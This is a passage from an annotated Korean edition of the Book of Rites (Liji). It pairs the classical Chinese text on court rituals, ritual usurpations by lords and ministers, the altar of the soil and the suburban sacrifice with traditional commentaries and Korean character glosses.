能敬則賓主之情不流不流 不離禮樂之道也 夫禮減而進以進爲文樂盈而反以反爲文爵始卒而樂遂闋則能以反爲文矣 此先王之微意也 故孔子屢歎之 且樂所以發明賓主之德也 卒爵則酬酢之禮畢而賓主之德已明矣 樂之闋也不亦宜乎闋終也 孔子於與蜡之事畢而歎者歎其禮之亡也於卒爵而樂闋亦歎者歎其樂之深也於禮之亡則傷之而歎也於樂之深則美之而歎也 主酌賓曰獻賓答主曰酢 主復答賓曰酬奠酬謂奠置酬爵之時也 夫禮成於三奠酬則禮成而賓主之德可知也 故樂工升歌以發之蓋雖有其德非發之於聲音則無自而明故也 升歌卽仲尼燕居所謂升歌淸廟示德是矣 或言發或言示互相備也 歌者在上故經每謂之升歌匏竹在下故經每謂之下管匏卽竽笙之類 竹卽箎笛之類 以舜典考之堂上有琴瑟 堂下有柷敔要之在上者以歌爲主在下者以匏竹爲主 樂由陽來 禮由陰作 獨陰不生 獨陽不成 生成相濟其氣乃和 和則萬物不失其性矣]\n[馬氏曰歌者聲之發於口 匏竹者聲之寓於器 寓於器者其聲粗 發於口者其聲精 故歌者在上貴人聲也 樂由天作則樂者陽也 故樂由陽來禮以地制則禮者陰也 故禮由陰作天地合而萬物生陰陽和而萬物得古之人言禮樂未嘗徇於一偏之說也]\n[豉:메주시][匏:박(瓠)박,바가지박][闋:쉴결,다할결,마칠결,문닫다][笙:생황생][闔:닫을합][闢:열벽][蜡:납향제사(年冬祭名),蜡月:음력 섣달의 別名.蜡祭:歲末에 뭇 神에게 올리는 제사.쉬파리처][箎긴대호][柷][敔:막을어.풍류그치는악기]\n6. 旅幣無方은 所以別土地之宜하며 而節遠邇之期也요, 龜爲前列은 先知也요, 以鍾次之는 以和居參之也요, 虎豹之皮는 示服猛也요, 束帛加璧은 往德也라.[533]\n旅陳也니 庭實所陳之幣이 非一方所貢이라. 故.曰 無方은 以土地之産이 各有所宜而地里이 有遠近則入貢之期日이 有先後也라. 前篇에 言,金이 次之하고, 此言鍾이 次之는 蓋金之爲器이 莫重於鍾이라. 故.變文言之也라. 金示和而參居庭實之間이라. 故.云,以和居參之也라. 君子이 於玉比德하니 往德者는 言,往進此比德之玉於有德之人也라.\n[長樂陳氏曰溥天之下莫非王土率土之濵莫非王臣故衆幣所以無方也土地之宜在物而遠近之期在人周官六服其見有六歲之差其交有六物之異六物之異者所謂別土地之宜六歲之差者所謂節遠近之期也金之爲體則實而其爲性則順體之實則足以見情而性之順則足以示和示服猛者所以明德威惟畏也禮器言大饗之所貢故言三牲魚腊以至丹漆絲纊竹箭之類而極其多此言常貢之法則陳其大率而已 此詳略所以不同也]\n[嚴陵方氏曰土地所生之物有宜有否各使貢其所宜之物焉 故以別言之地之遠者來之期常疏地之邇者來之期常數 故以節言之鍾卽金也 金則以材言鍾則以器言]\n[濵:濱의俗字.물가,끝,임박][腊:고기포석][纊:고운솜광]\n7-1. 庭燎之百은 由齊桓公으로 始也니라.[535-1]\n此以下는 言朝聘失禮之事라. 庭燎者는 庭中設炬火하야 以照來朝之臣夜入者라. 大戴禮에 言,天子는 百燎요, 上公은 五十이요, 侯伯子男은 三十이어늘 今侯國이 皆供百燎는 自桓公始之이니라.\n[燎:화톳불료,불놓다,타다,밝다,말리다.섶을때하늘에지내는제사,야화][炬:횃불거,사르다]\n7-2. 大夫之奏肆夏也는 由趙文子始也하니라.[535-2]\n大射禮에 公升卽席에 奏肆夏하고, 燕禮에 賓及庭에 奏肆夏하니, 是는 諸侯之禮어늘 今大夫之僭이 自晉大夫趙武始이니라.\n[長樂陳氏曰天下有道天子馭諸侯諸侯馭大夫而禮樂有差天下無道諸侯僭天子大夫僭諸侯而禮樂無別周之天子無道故齊桓公僭天子之禮而至於庭燎之百趙文子僭諸侯之樂而至於奏肆夏也蓋齊桓公之僭以强趙文子之僭以奢記者錄而罪之以其濫觴於一時而致洋溢乎天下後世也]\n[山陰陸氏曰齊桓公賢諸侯也而僭天子如此則餘諸侯可知趙文子賢大夫也而僭諸侯如此則餘大夫可知]\n[金華應氏曰大夫之僭起於諸侯之失禮而已故此篇之譏自齊桓趙文子始焉夫齊威將仗義以服諸侯也乃自以庭燎之百誇其尊則何以責夫諸侯趙文子輔其君以伯者也而自僭肆夏霸國之禮已失矣則何以責夫大夫]\n[馭:말부릴어,어거할어][觴:잔상.술따를상][誇:자량과][霸:으뜸패]\n8. 朝覲에 大夫之私覿이 非禮也니, 大夫이 執圭而使[去聲]인대 所以申信也요, 不敢私覿은 所以致敬也니 而庭實私覿을 何爲乎諸侯之庭이리오? 爲人臣者이 無外交는 不敢貳君也니라.[536]\n朝覲之禮에 國君이 親往 而大夫이 從則,大夫이 不當又以己物而 私覿主君이라. 故.曰 非禮也라. 若大夫이 執其君之命圭而專使則當行私覿之禮하야 以申己之信이라. 故.從君朝覲而不敢私覿은 是敬己之君也이어늘 今從君以來而施設庭實하야 以爲私覿大夫이 何可爲此於諸侯之庭乎아? 譏其與君無別也라. 人臣이 無外交는 不敢貳心於他君이니 所以從君而行則不敢私覿也라.\n[長樂陳氏曰易大有九四匪其彭無咎則爲諸侯者其可庭實於諸侯之庭乎庭實於諸侯之庭者諸侯之無王也 曲禮言從於先生不越路而與人言又況大夫從其君之朝覲其可以私覿於諸侯之庭乎私覿於諸侯之庭者大夫之無君也 檀弓曰 大夫束脩之問不出境 左傳曰策名委質貳乃辟也 此所謂人臣無外交而不貳君也]\n[覿:볼적][覲:뵐근][彭:성팽.곁방,가깝다.많다.장하다][咎;허물구,재앙,미움 나무람.誰怨誰咎]\n9-1. 大夫而饗君이 非禮也요, 大夫이 强이어든 而君이 殺之호미 義也니, 由三桓始也니라.[538]\n大夫富强而具饗禮하야 以饗君은 以臣召君이라. 故.曰 非禮요, 大夫이 强橫僭逆이면 必亂國家니, 人君이 殺之는 是斷以大義也라. 三桓은 魯之三家니 皆桓公之後也라. 先是에 成季이 以莊公之命으로 酖殺僖叔하고, 後에 慶父이 賊子般하고, 又弑閔公하고 於是에 又殺慶父라. 故.云,由三桓始라 하니라. ○疏에 曰 按 三桓之前에 齊,公孫無知와 衛,州吁와 宋,長萬 皆以强盛被殺하니 此云由三桓始者는 據魯而言하니라.\n[長樂陳氏曰 以大夫而饗君猶爲非禮 又況以諸侯而饗天子乎三代之制刑不上大夫而霸者之法亦曰無專殺大夫則古之所以任大夫未嘗不以賢而其所以待大夫未嘗不以禮其有至於殺者 蓋其始也 任之不以賢故其終也不可待之以禮耳]\n[酖:술즐길탐,짐새술짐,酖毒:짐새 깃에 있는 맹렬한 독][吁:탄식우,근심함,아!]\n9-2. 天子이 無客禮는 莫敢爲主焉이니라. 君適其臣하사 升自阼階는 不敢有其室也라. 覲禮에 天子이 不下堂而見諸侯하시나니 下堂而見諸侯는 天子之失禮也니 由夷王以下니라.[539]\n天子이 所以無客禮者는 以其尊無對하여 莫敢爲主故也라. 適臣而升自主階는 是爲主之義이 不敢有其室者이니 言人臣이 不敢以此室로 爲私有而主之矣라. 況.敢爲主而待君爲客乎아? 覲禮에 天子이 負斧依南面이어든 侯氏이 執玉入하니, 是不下堂見諸侯也라. 惟春朝夏宗에 以客禮로 待諸侯則,天子이 以車로 出迎이라. 夷王은 康王之玄孫之子라.\n[長樂陳氏曰春夏萬物聚見之時先王爲之朝宗之禮而不純以臣待諸侯以其等爲車送逆之節所以明其恩也於秋萬物分辨之時爲之覲禮而純以臣待諸侯則負依南面而不下堂所以明其義也明其恩則天下知所賢明其義則天下知所尊知所賢則人樂於爲德知所尊則人樂於爲禮此天子之德所以常感於下而其勢所以常隆於上矣至夷王則不然於其秋覲之時亦與諸侯分庭抗禮而下堂見之是其自卑所以起諸侯之僭自弱所以起諸侯之强以至平王東遷而齊王室於邦君降黍離於國風者非由此哉]\n[張子曰不當下堂而下是天子弱而諸侯强也若負屛而立謂之朝是當行禮於庭中也]\n10-1. 諸侯之宮縣[玄]而祭以白牡하며, 擊玉磬하며, 朱干設錫[陽]하며, 冕而舞大武하며, 乘大路는, 諸侯之僭禮也라.[541]\n天子之樂은 四面皆縣을 謂之宮縣이요, 諸侯는 軒縣則,三面而已라. 白牡은 殷祭之正牲이니 後代諸侯이 當用時王之牲也요, 又諸侯이 當擊石磬이라. 玉磬은 天子樂器니 書에 言,鳴球이 是也라. 諸侯이 雖得舞大武이나, 但 不得朱干設錫冕服而舞也라. 干은 盾也요, 錫者는 盾背之飾金爲之요, 大路는 殷祭天所乘之車也라.\n[長樂陳氏曰樂書曰周官小胥正樂縣之位王宮縣諸侯軒縣則諸侯宮縣僭天子樂縣也舜之鳴球以象天帝玉磬之音諸侯擊玉磬僭天子樂器也天子朱干玉戚冕而舞大武諸侯亦設錫而用之僭天子樂舞也祭以白牡僭天子用牲之禮也乘以大輅僭天子乘車之禮也蓋天下有道禮樂自天子出諸侯莫得而僭之天下無道禮樂自諸侯出其不僭竊而有之未之有也言諸侯僭禮則樂可知矣]\n[胥(서):서로,다 돕다][竊(절):훔치다,사사롭다.열다.깐깐하다]\n10-2. 臺門而旅樹하며 反坫하며 繡[如字]黼丹朱中衣는 大夫之僭禮也라.[542]\n※ 反坫:중국 주(周)나라 때, 제후들의 회견에서 헌수(獻酬)한 술잔을 되돌려 놓던 대(臺).\n※ 爵坫:잔을 엎어 놓는 잔대.\n此는 皆諸侯之禮라. 兩旁에 起土爲臺하고 臺上에 架屋而門當其中이라. 故.曰 臺門이요, 旅이 道也요, 樹는 屛也라. 立屛當所行之路하야 以蔽內外爲敬이라. 天子는 外屛이요, 諸侯는 內屛이요, 大夫는 以簾이요, 士는 以帷라. 坫은 在兩楹之間하니 兩君好會에 獻酬飮畢則.反爵於其上이라. 故.曰 反坫이라. 舊讀繡爲綃하니 今如字에 繡黼者는 繡刺爲黼文也요, 丹朱는 染繪爲赤色也라. 繡黼는 爲中衣之領하고, 丹朱는 爲中衣之緣하니, 中衣者는 朝服祭服之裏衣也라. 制如深衣호대 但袖小長耳라. 冕服이 是絲衣則,中衣를 用絹素하고 皮弁服朝服玄端이 是麻衣則,中衣를 用布也라. ○石梁王氏이 曰 繡은 當依詩文하야 不可改爲綃라.\n[簾:발렴][坫綃:생초초(生絲綺繒),무늬 비단(采繒)][黼(보):禮服半白半黑剌繡斧形]\n10-3. 故로 天子이 微하고 諸侯이 僭하고 大夫이 强하면 諸侯이 脅하나니, 於此에 相貴以等하며 相覿以貨하며 相賂以利하야 而天下之禮이 亂矣니라. 諸侯이 不敢祖天子하며, 大夫이 不敢祖諸侯하나니 而公廟之設於私家이 非禮也니 由三桓始也니라.[544]\n相貴以等은 謂.擅相尊貴하야 以等列也諸侯不敢祖天子而左傳에 云, 宋祖帝乙하며 鄭祖厲王하고 魯襄十二年에 吳子壽夢이 卒에 臨於周廟는 禮也라. 魯以周公之故로 立文王廟耳라. 大夫이 不敢祖諸侯而左傳에 云, 凡邑에 有宗廟先君之主曰.都라 하니라. 記者이 以禮之正言之而又有他義者는 舊說에 謂天子之子이 以上德爲諸侯者이 得祀其所出이라. 故.魯以周公之故로 立文王廟라. 公子는 得祖先君하고, 公孫은 不得祖諸侯라. 故. 公子爲大夫者이 亦得立宗廟於其采地라. 故.曰. 邑有宗廟先君之主也라. 其王子母弟이 雖無功德하야 不得出封爲諸侯나, 而食采畿內者이 亦得立祖王廟於采地라. 故.都宗人家宗人이 掌祭祖王之廟也라. 由三桓始는 謂.魯之三家이 立桓公廟也라.\n[馬氏曰諸侯之僭由天子之微諸侯之見脅由大夫之强也方周之衰上失道揆下無法守故於此相貴以等相覿以貨相賂以利相貴以等言相尙以勢相覿以貨相賂以利言相尙以利天下以勢利相尙不奪則不能饜其所欲此天下之禮所以亂矣]\n[嚴陵方氏曰相貴以等則爵不足以馭其貴相覿以貨則祿不足以馭其富相賂以利則予不足以馭其幸大宰八柄詔王馭群臣以此三者爲先三者茍失天下之禮由是亂矣覿言非是則不行貨指物利指事諸侯有國而已故不敢祖天子大夫有家而已故不敢祖諸侯以其不敢祖天子故立始祖而有五廟之制以其不敢祖諸侯故立別子而有五宗之法]\n[賂:뇌물줄뢰][擅:멋대로할천][揆][饜:배부를염][馭:말부릴어]\n11-1. 天子이 存二代之後는 猶尊賢也시니 尊賢이 不過二代하시니라.[546]\n疏曰古春秋左氏說에 周家이 封夏殷二王之後하야 以爲上公하고 封黃帝堯舜之後하야 謂之三恪하니 恪者는 敬也니 敬其先聖而封其後라.\n[山陰陸氏曰猶之言可以已也雖可以已猶如此厚之至也雖厚又惡大過故曰尊賢不過二代]\n[眉山孫氏曰立前代之後以統承先王者自古有此法也有虞氏之時棄爲高辛之後故得祭天詩謂后稷肇祀是也丹朱爲唐堯後作賓于虞書所謂虞賓在位是也至夏后時則丹朱商均之子孫皆爲二王後湯爲夏氏立後經傳雖不載然有商之興固當以禹之裔爲二王後無疑矣仲虺之誥稱湯之德有曰玆率厥典言其能率循舊典不易故常也豈其於崇德象賢之事獨不稽古乎至周則封微子於宋至封舜後於陳封東樓公於杞亦必因成湯封舜禹之後於陳杞可以推知也]\n[肇:비롯할조][虺:살무사회,고달플회][誥:깨우쳐고할고][杞:기나무기]\n11-2. 諸侯이 不臣寓公하나니, 故로 古者에 寓公이 不繼世하나니라.[547]\n諸侯이 失國而寄寓他國者를 謂之寓公이니 所寓之國不敢以之爲臣하고, 此寓公이 死則,臣其子矣라. 故.云 寓公이 不繼世라.\n[嚴陵方氏曰失地之君諸侯所以不臣之者以其嘗爲南面之君故也]\n12. 君之南鄕[去聲]은 答陽之義也요, 臣之北面은 答君也라.[548-1]\n答은 猶對也라.\n[延平周氏曰天道降於南方故君之南鄕答天也陽卽天也]\n[山陰陸氏曰易曰聖人南面而聽天下鄕明而治蓋取諸離是也]\n13-1. 大夫之臣이 不稽首는 非尊家臣이라. 以辟[避]君也니라.[548-2]\n諸侯이 於天子稽首하고, 大夫이 於諸侯에 亦稽首호대, 惟家臣이 於大夫에 不稽首者는 非尊重家臣也라. 以避國之正君也라. 蓋諸侯與大夫이 同在一國하야 大夫이 已稽首於君矣라. 家臣이 若又稽首於大夫則,似一國而兩君矣라. 故.云 以辟君이라.\n[嚴陵方氏曰南者陽之位北者陰之位君以陽明爲德故南鄕而有答陽之義所以向明也臣以陰順爲德故北面以答君所以示順也君非臣之所敵故不可言答臣臣者君之所統故不可言答陰於君曰鄕則不斥其體君尊故也周官司士於王曰鄕自公而下皆曰面莊子言堯之爲君曰南鄕言舜之爲臣曰北面皆此意也然對而言之則如此離而言之君亦可以言面故易言聖人南面而聽天下經言聖人南面而立周官大祝辨九拜而以稽首爲先則稽首者首至地而爲禮之隆也諸侯之大夫陪臣而已以陪臣之畢而可以當拜禮之隆乎必有君道之尊者乃可以當此坊記大夫不稱君則大夫固無君道矣]\n[馬氏曰君者兼天子諸侯而言之也]\n13-2. 大夫이 有獻이어든 弗親하며, 君有賜어시든 不面拜는 爲[去聲]君之答己也라.[549]\n有獻弗親者는 使人往獻이오, 不身自往也이며, 不面拜는 不親見君之面而拜也이니 恐煩君答拜故也라.\n[嚴陵方氏曰此謂諸侯大夫諸侯雖有君道然亦天子之臣爾故於大夫有相答之禮焉獻弗親有賜不面拜非敢怠也慮煩君之答己而已親則必面獻亦必拜其言互備也]\n[○馬氏曰非不役志於獻而有慢君之賜也蓋禮無不答而上之不虛取於下也爲其君之答己故弗親不面拜禮從其簡而已亦所以尊其君也]\n14. 鄕人이 禓[傷]이어든 孔子ㅣ 朝服하사 立于阼는 存室神也라.[550]\n論語에 鄕人儺에 朝服而立於阼階이 卽此事也라. 舊說에 禓는 是强鬼之名이니 鄕人이 驅逐此鬼에 孔子이 恐驚廟室之神이라. 故,衣朝服立於廟之東階하야 以存安廟室之神하야 使神依己而安也라. 禮에 大夫이 朝服以祭라. 故,用祭服以依神이라.\n[禓:(상:귀신쫓아낼상,逐强鬼)(상:道上祭,道神)][阼:동편섬돌조,主人接賓處조][儺:역귀쫓을나][驅:몰구,쫓아보냄]\n[馬氏曰儺者索室以去其不祥其法見於周方相氏而其事見於月令之季秋孔子聖人德合於神明矣非俟於索室以去其不祥然必從鄕人之儺者不違衆以立異也]\n15-1. 孔子이 曰하사대, 射之以樂也는 何以聽이며 何以射오?[551]\n何以聽은 謂射者이 何以能不失射之容節而又能聽樂之音節乎며, 何以射는 謂,何以能聽樂之音節而使射之容이 與樂之節로 相應乎아? 言其難而美之也라.\n[馬氏曰射者其容體比於禮其節比於樂然後可以言中其容體比於禮非難而其節比於樂爲難故天子以騶虞爲節諸侯以貍首爲節大夫以采蘋爲節士以采繁爲節蓋射必以聲而後發發而不失其節此君子之所難也以其節聽之在耳而得之於心得之於心而應之於手其妙至於如此而非可以言喩故孔子曰射之以樂也何以聽何以射 何以聽何以射者其難也]\n[騶:마부추][貍:삵리][蘋:큰마름반][蘩:흰쑥번,새발쑥][繁:많을번,번거로움]\n15-2. 孔子ㅣ曰하사대 士이 使之射할새 不能이어든 則辭以疾은 縣[玄]弧之義也라.[552-1]\n爲士者이 當習於射는 以六藝之一也니 不敢以不能辭하고 惟可以疾辭는 蓋生而設弧於門左에 已有射道로대 但未能耳라. 今辭以疾而未能則,亦與初生之未能相似라. 故,云縣弧之義也라.\n15-3. 孔子ㅣ曰하사대 三日齊하야 一日用之라도 猶恐不敬이니 二日伐鼓는 何居오?[如字][552-2]\n齊者이 不聽樂은 恐散其志慮也이에 今三日之間에 乃二日擊鼓는 其義何所處乎아? 怪之之辭라.\n[延平周氏曰君子無故不去樂故致齊之不擧樂者三日然後用之以祭猶恐不敬果於齊之二日伐鼔則何居何居者疑而嘆之之辭也]\n[○山陰陸氏曰此豈魯事歟不目言之諱也]\n[○嚴陵方氏曰家語曰季桓子將祭齊三日而二日鐘鼔之音不絶蓋其事矣][鼔=鼓]\n16. 孔子이曰 繹之於庫門內하며 祊之於東方하며 朝[如字]市之於西方하니 失之矣니라.[553]\n繹은 祭之明日에 又祭也니 繹是堂上接尸요, 祊은 是於室內求神이니 皆一時之事라. 繹之禮는 當於廟門外之西堂이어늘 今乃於庫門內하고 祊은 當在廟門外西室이어늘 今乃於廟門外東方하고 朝市는 卽周禮所謂朝時而市也이니 當於市內近東이어늘 今乃於市內西方하니 此三事는 皆違於禮라. 故,曰失之矣라.[繹:당길역,찾다.실마리][祊:문안제팽(門內祭祖),사당문제사(廟門祭神)]]\n17-1. 社는 祭土而主陰氣也니 君이 南鄕於北牖下는 答陰之義也요, 日用甲은 用日之始也라.[554]\n地秉陰則,社는 乃陰氣之主니 社之主를 設於壇上北面而君來北牆下南向祭之는 蓋 社이 不屋하고 惟立之壇壝而環之以牆이라. 旣地道이 主陰이라. 故,其主이 北向而君은 南向對之라. 答은 對也요, 甲은 爲十干之首라.[壝:제단유,토담,울타리][隰:진뻘습]\n[朱子曰社是土神或問社如何有神曰能生物便是神也]\n[○馬氏曰古人之言社必有禝此言社而不言稷者蓋社總祭五土之神而山林川澤丘陵墳衍原隰皆是也稷則止於原隰而已言社可以兼稷也日用甲用日之始則郊用辛用日之成也蓋郊所以明天道故用辛社所以神地道故用甲]\n[○嚴陵方氏曰社必用日之始何也蓋陽始於甲而物生陰極於辛而物成地雖以陰而成物然始地事者存乎陽故社用甲以原其始焉天雖以陽而生物然終天功者存乎陰故郊用辛以要其終焉]\n17-2. 天子이 大社에 必受霜露風雨는 以達天地之氣也니 是故로 喪[去聲]國之社를 屋之는 不受天陽也요, 薄社를 北牖는 使陰明也니라.[555]\n薄은 書에 作亳하니 薄社이 於周에 爲喪國之社로대 必存之者는 白虎通에 云,王者諸侯이 必有誡社는 示有存亡也이어늘 屋其上則,天陽이 不入하니 牖於北則,陰氣可通이니 陰明則,物死也라.\n[嚴陵方氏曰 大社卽祭法所謂王社也 以王社爲大則 自侯社而下皆爲小矣 達者上下達之謂也 上則達天之氣以濟乎下 下則達地之氣以濟乎上 故以達言之喪國之社卽 媒氏所謂勝國之社也 勝言我所勝喪言彼之喪 其實一也於大社 言必受霜露風雨於喪國之社言不受天陽亦互言之爾]\n[○馬氏曰 大社達 天地之氣 示其有生物之功 喪國之社不受天陽示其生物之功息]\n[亳:땅이름박(殷都名)][誡:경계할계,고하다.명하다][牖:들창유]\n17-3. 社는 所以神地之道也라. 地載萬物하고 天垂象이어든 取財於地하고 取法於天하나니 是以로 尊天而親地也니라. 故로 敎民美報焉이니 家主中霤 而國主社는 示本也니라.[556]\n聖人이 知地道之大라. 故,立社以祭는 所以神而明之也라. 美報는 美善其報之之禮也라. 上古에 穴居 故, 有中霤之名하니 中霤與社는 皆土神이라. 卿大夫之家는 主祭土神於中霤하고 天子諸侯之國은 主祭土神於社하니, 此皆以示其爲載物生財之本也니라.\n[馬氏曰 天以生物爲功而其功幽 故聖人闡之而爲郊所以明天之道也 地以成物爲功而其功顯 故聖人則斂之而爲社 所以神地之道也 以天遠於人則尊而不親 地近於人則親而不尊 故在天則明之欲民尊而親之也在地則神之欲民親而尊之也萬物本乎天而亦本乎土 故家以中霤爲主 國以社爲主者 示其不敢忘本之意也]\n[○嚴陵方氏曰 載物以利民用 故言取財於地垂象以示民則 故言取法於天取財則有所養 養者母道也 故親而不尊取法則有所敎 敎者父道也 故尊而不親]\n17-4. 唯爲[去聲]社事하야 單[丹]出里하며,[557]\n社事는 祭社之事也요, 二十五家이 爲里요, 單은 盡也니 言,當祭社之時하야 一里之人盡出而供給其事하니 蓋每家一人也라.\n17-5. 唯爲社田하야 國人이 畢作하며,[558-1]\n爲祭 社之事而田獵 則國中之人이 皆行하고 無留家者라.\n17-6. 唯社에 丘乘이[去聲] 供粢盛하나니[平聲] 所以報本反始也라.[558-2]\n祭社에 必有粢盛하니 稷曰明粢요, 在器曰盛이니 此粢盛則,使丘乘供之하니 井田之制에 九夫이 爲井하고, 四井爲邑하고, 四邑이 爲丘하고, 四丘이 爲乘也라. 報者는 酬之以禮로대 反者는 追之以心이라.\n[嚴陵方氏曰出里謂離所居也作謂起行也出里與作互言之爾單畢皆盡也亦互言之丘乘共粢盛以非祭社則不必如是故言唯焉則以本始有在乎此而報反之禮不可不重故也]\n[○長樂劉氏曰役於公則家有定員役於社則羨徒皆作人人求福於其身也衣食本乎土故曰報本知平水土始於勾龍知播五穀始於后稷故以爲配是曰反始焉]\n[粢:제사밥자,피(稷)자,인절미(餮)자][勾=句:구절구,글귀구][播:뿌릴파]\n18. 季春에 出火爲焚也하고 然後에 簡其車賦 而歷其卒하니[爲去聲] 伍而君이 親誓社하야 以習軍旅호대 左之右之하며 坐之起之하야 以觀其習變也 而流示之禽하야 而鹽[去聲]諸利하야 以觀其不犯命也니 求服其志하며 不貪其得이라. 故,以戰則克이요, 以祭則受福이니라.[559]\n建辰之月에 大火心星이 昏見南方이라. 故,出火하야 以焚除草萊하고 焚後에 卽蒐田이라. 簡은 閲視也요, 賦는 兵也요, 歷은 數之也요, 百人이 爲卒이요. 五人이 爲伍요, 誓社는 誓衆於社也요, 或左,或右,或坐,或作,皆是軍旅之法이요, 習變은 習熟其變動之節也니 驅逐之際에 禽獸이 流動紛紜하야 衆皆見之라. 故,云流示之禽이라. 鹽은 讀爲艷하니 艷諸利는 謂使之歆艷於利也라. 禽獸雖甚可欲而殺獲取舍이 皆有定制하니 犯命者는 必罰이라. 不使之犯命者는 是이 求以遏服其貪利之志라. 人君이 亦取之有制하니 如大獸는 公之하고 小禽은 私之하야 不踰法而貪下之所得也라. 以戰則,克은 習民於變也요, 祭則受福은 獲牲以禮也라. ○疏에 曰. 祭社이 旣在仲春이라. 此出火爲焚이 當在仲春之月이어늘 記者이 誤也로다.\n[嚴陵方氏曰木氣終於辰故火順所生而見司爟於季春則出火焉水氣兆於戊故火受所勝而沒司爟於季秋則納火焉聖人奉天時則爲焚者特出火之事爾牧師凡田事贊焚萊是矣田獵之禮周官則行之於仲月而與此異豳詩月令則行之於季月而與此同此之所言亦泛記異代爾月令仲春擇元日命民社則出火之田非爲社也王制三田一爲乾豆二爲賓客三爲充君之庖則田固有不爲社者矣夫社必先之以焚者盖焚其宿草而後可田故也且社主陰陰主殺則爲社而有田因田而習軍旅不亦宜乎月令所謂敎於田獵以習五戎車攻所謂因田獵而選車徒皆謂是爾車賦者卽司馬法自六尺爲步積之至於通十爲成成出革車一乘者是矣小司徒之職五人爲伍五伍爲兩四兩爲卒卒伍者軍旅之法立於伍成於卒故也簡言於利否有所擇歷言於夷險有所經曰簡曰歷亦互言之故大司馬止曰選車徒也以至車驟徒趨車馳徒走險野人爲主易野車爲主皆簡歷之也誓卽所謂群吏聽誓于陳前是也誓特誓田而已而曰社者以爲社而田故也左之右之卽以旌爲左右祁門是矣坐之起之卽以敎坐作進退之節是矣左右之位坐起之節亦莫不敎焉凡以觀其習應變之事也流示之禽者驅其禽而流行以示之所謂設驅之車是矣此則鹽之以利也夫田之獲禽猶戰之獲虜也戰之獲虜有賞而田之獲禽有賞所謂大獸公之小禽私之是賞之之意也若失伍而獲禽則所利者小所害者大必有罰焉盖小人見利而忘法凡此但求服士卒之志使之不失伍爾不貪其所得之禽也夫以不敎民戰是謂棄之故因其田以習軍旅則戰之備也故以戰則克無事而不田曰不敬故因其無事而歲三田則祭之備也故以祭則受福]\n[蒐:꼭두선이수,모을수][紜:어지러울운][爟:봉화관(擧火)][庖:요리사포,부억,요리][驟:달릴취몰아가다,별안간][祁:성할기,크다.많다][:머뭇거릴양]\n19. 天子이 適四方하사 先柴하시나니라.[562]\n書에 曰 歲二月에 東巡守하사 至于岱宗하사 柴라하니라.\n[延平周氏曰天子巡狩至于四嶽先柴以告天也]\n[○金華應氏曰四方惟天子所適者普天之下莫非王土也所適必先柴昊天曰明及爾出王昊天曰旦及爾游衍也噫其與周行天下將必有車轍馬跡者異矣][狩:겨울사냥수][岱:태산대][轍:바퀴자욱철]\n20-1. 郊之祭也는 迎長日之至也니라.[563]\n至는 猶到也니 冬至에 日短極而漸舒라. 故,云,迎長日之至라.\n○朱子ㅣ曰, 以始祖로 配天이 須在冬至하니 一陽始生은 萬物之始요, 宗祀九月은 萬物之成이라. 父者는 我所自生이요, 帝者는 生物之祖라. 故,推以爲配而祀於明堂하니 此議方正이라.\n○問,郊祀后稷以配天하고 宗祀文王以配上帝하니 帝只是天이요, 天只是帝이어늘 却分祭는 何也요? 朱子이 曰, 爲壇而祭라. 故,謂之天이요, 祭於屋下而以神祗祭之라. 故,謂之帝라.\n○今按郊祀一節은 先儒之論이 不一者는 有子月寅月之異하고 有周禮魯禮之分하고 又以郊與圓丘로 爲二事하니 又有祭天與祈穀으로 爲二郊하니 今皆不復詳辨而以朱說로 爲定 이라.\n[嚴陵方氏曰日爲陽夜爲陰故陽生則日浸長而夜短陰生則夜浸長而日短郊之祭在建子之月而陽生於子故曰迎長日之至也至猶來也與月令仲夏日長至異矣故言迎焉祭天必迎長日之至者當是時陽始事矣天以始事爲功也周官以冬日至致天神蓋謂是矣]\n20-2. 大報天而主日也요, 兆於南郊는 就陽位也요, 掃[去聲]地而祭는 於其質也요, 器用陶匏는 以象天地之性也니라.[565]\n郊祭者는 報天之大事而主於迎長日之至니 祭義에 云, 配以月이라. 故,方氏이 謂,天之尊이 無爲하니 可祀之以其道요, 不可主之以其事라. 故,以日爲之主焉하니 天은 秉陽하고 日者는 衆陽之宗이라. 故,就陽位而立郊兆라. 陶匏는 亦器之質者니 質乃物性之本然也라.\n[馬氏曰郊者所以祀天大報天而以日爲主祭於壇而列於衆星之上蓋日者陽之精也祭義言大報天而主日配以月而於此不言配以月者文略也就陽位者此釋其郊之意也掃地而祭器用陶匏此釋其以少爲貴之意也]\n[匏:박(瓠)포]\n20-3. 於郊일새 故로 謂之郊니 牲用騂은 尙赤也요, 用犢은 貴誠也니 郊之用辛也는,[566]\n問郊之用辛日은 何謂요?\n[嚴陵方氏曰以迎長日之至故以日爲主天神不可得見所可瞻仰者日月星辰而已兆則爲之分域如龜兆之可別也旣曰兆於南郊矣又曰掃地而祭者蓋築壇謂之兆若兆五帝於四郊是矣掃地亦爲之兆若此所言是矣此主祭天而器之所象乃竝言地者蓋地道無成而代有終象地之性亦所以歸功於天也故中庸言郊社之禮所以事上帝則亦與此互相明焉牲用騂卽牧人所謂陽祀用騂牲赤者盛陽之色大宗伯以玉作六器以禮天地四方以蒼璧禮天而終言牲幣各放其器之色則祀天之牲用蒼而已乃與牧人所言異者蓋赤爲陽之盛色而蒼與靑乃其類也黑爲陰之盛色而黃與白乃其類也若是則祀天之牲不必蒼也亦從其類而已故止言放焉而牧人言凡陽祀以該之也以是知其止用騂也]\n[騂:붉은소성]\n20-4. 周之始郊에 日以至니라.[567]\n謂周家始郊祀에 適遇冬至是辛日이니 自後로 用冬至後辛日也이니라.\n20-5. 卜郊호대 受命于祖廟하며 作龜于禰宮은 尊祖親考之義也라.[567]\n告于祖廟而行事則.如受命於祖하니 此이 尊祖之義라. 作은 猶用也니 用龜以卜而於禰宮은 此이 親考之義라. 曲禮에 言,大饗에 不問卜이라 하니라. 旣用冬至則,有定日이어늘 此但云卜郊則,非卜日矣라. 下文에 言. 帝牛不吉하야 亦或此爲卜牲歟나 不然則,異代之禮也라.\n[嚴陵方氏曰受命則受之而已 作龜則質其可否焉於祖則受命以其能始事故也 於禰則作龜以其能成事故也 於祖曰廟以其遠而神事之也 禰曰宮以其近而人事之也 尊親之義 又在於是矣 作龜卽灼龜也 灼之將以作事 故以作言之]\n20-6. 卜之日에 王이 立于澤하사 親聽誓命은 受敎諫之義也요,[568]\n澤은 澤宮也니 於其中에 射以擇士일새 因謂之澤宮이니 又其宮이 近水澤이라. 故,名也라. 其日卜竟에 有司이 卽以祭事로 誓戒命令,衆執事者而君亦聽受之하니 是는 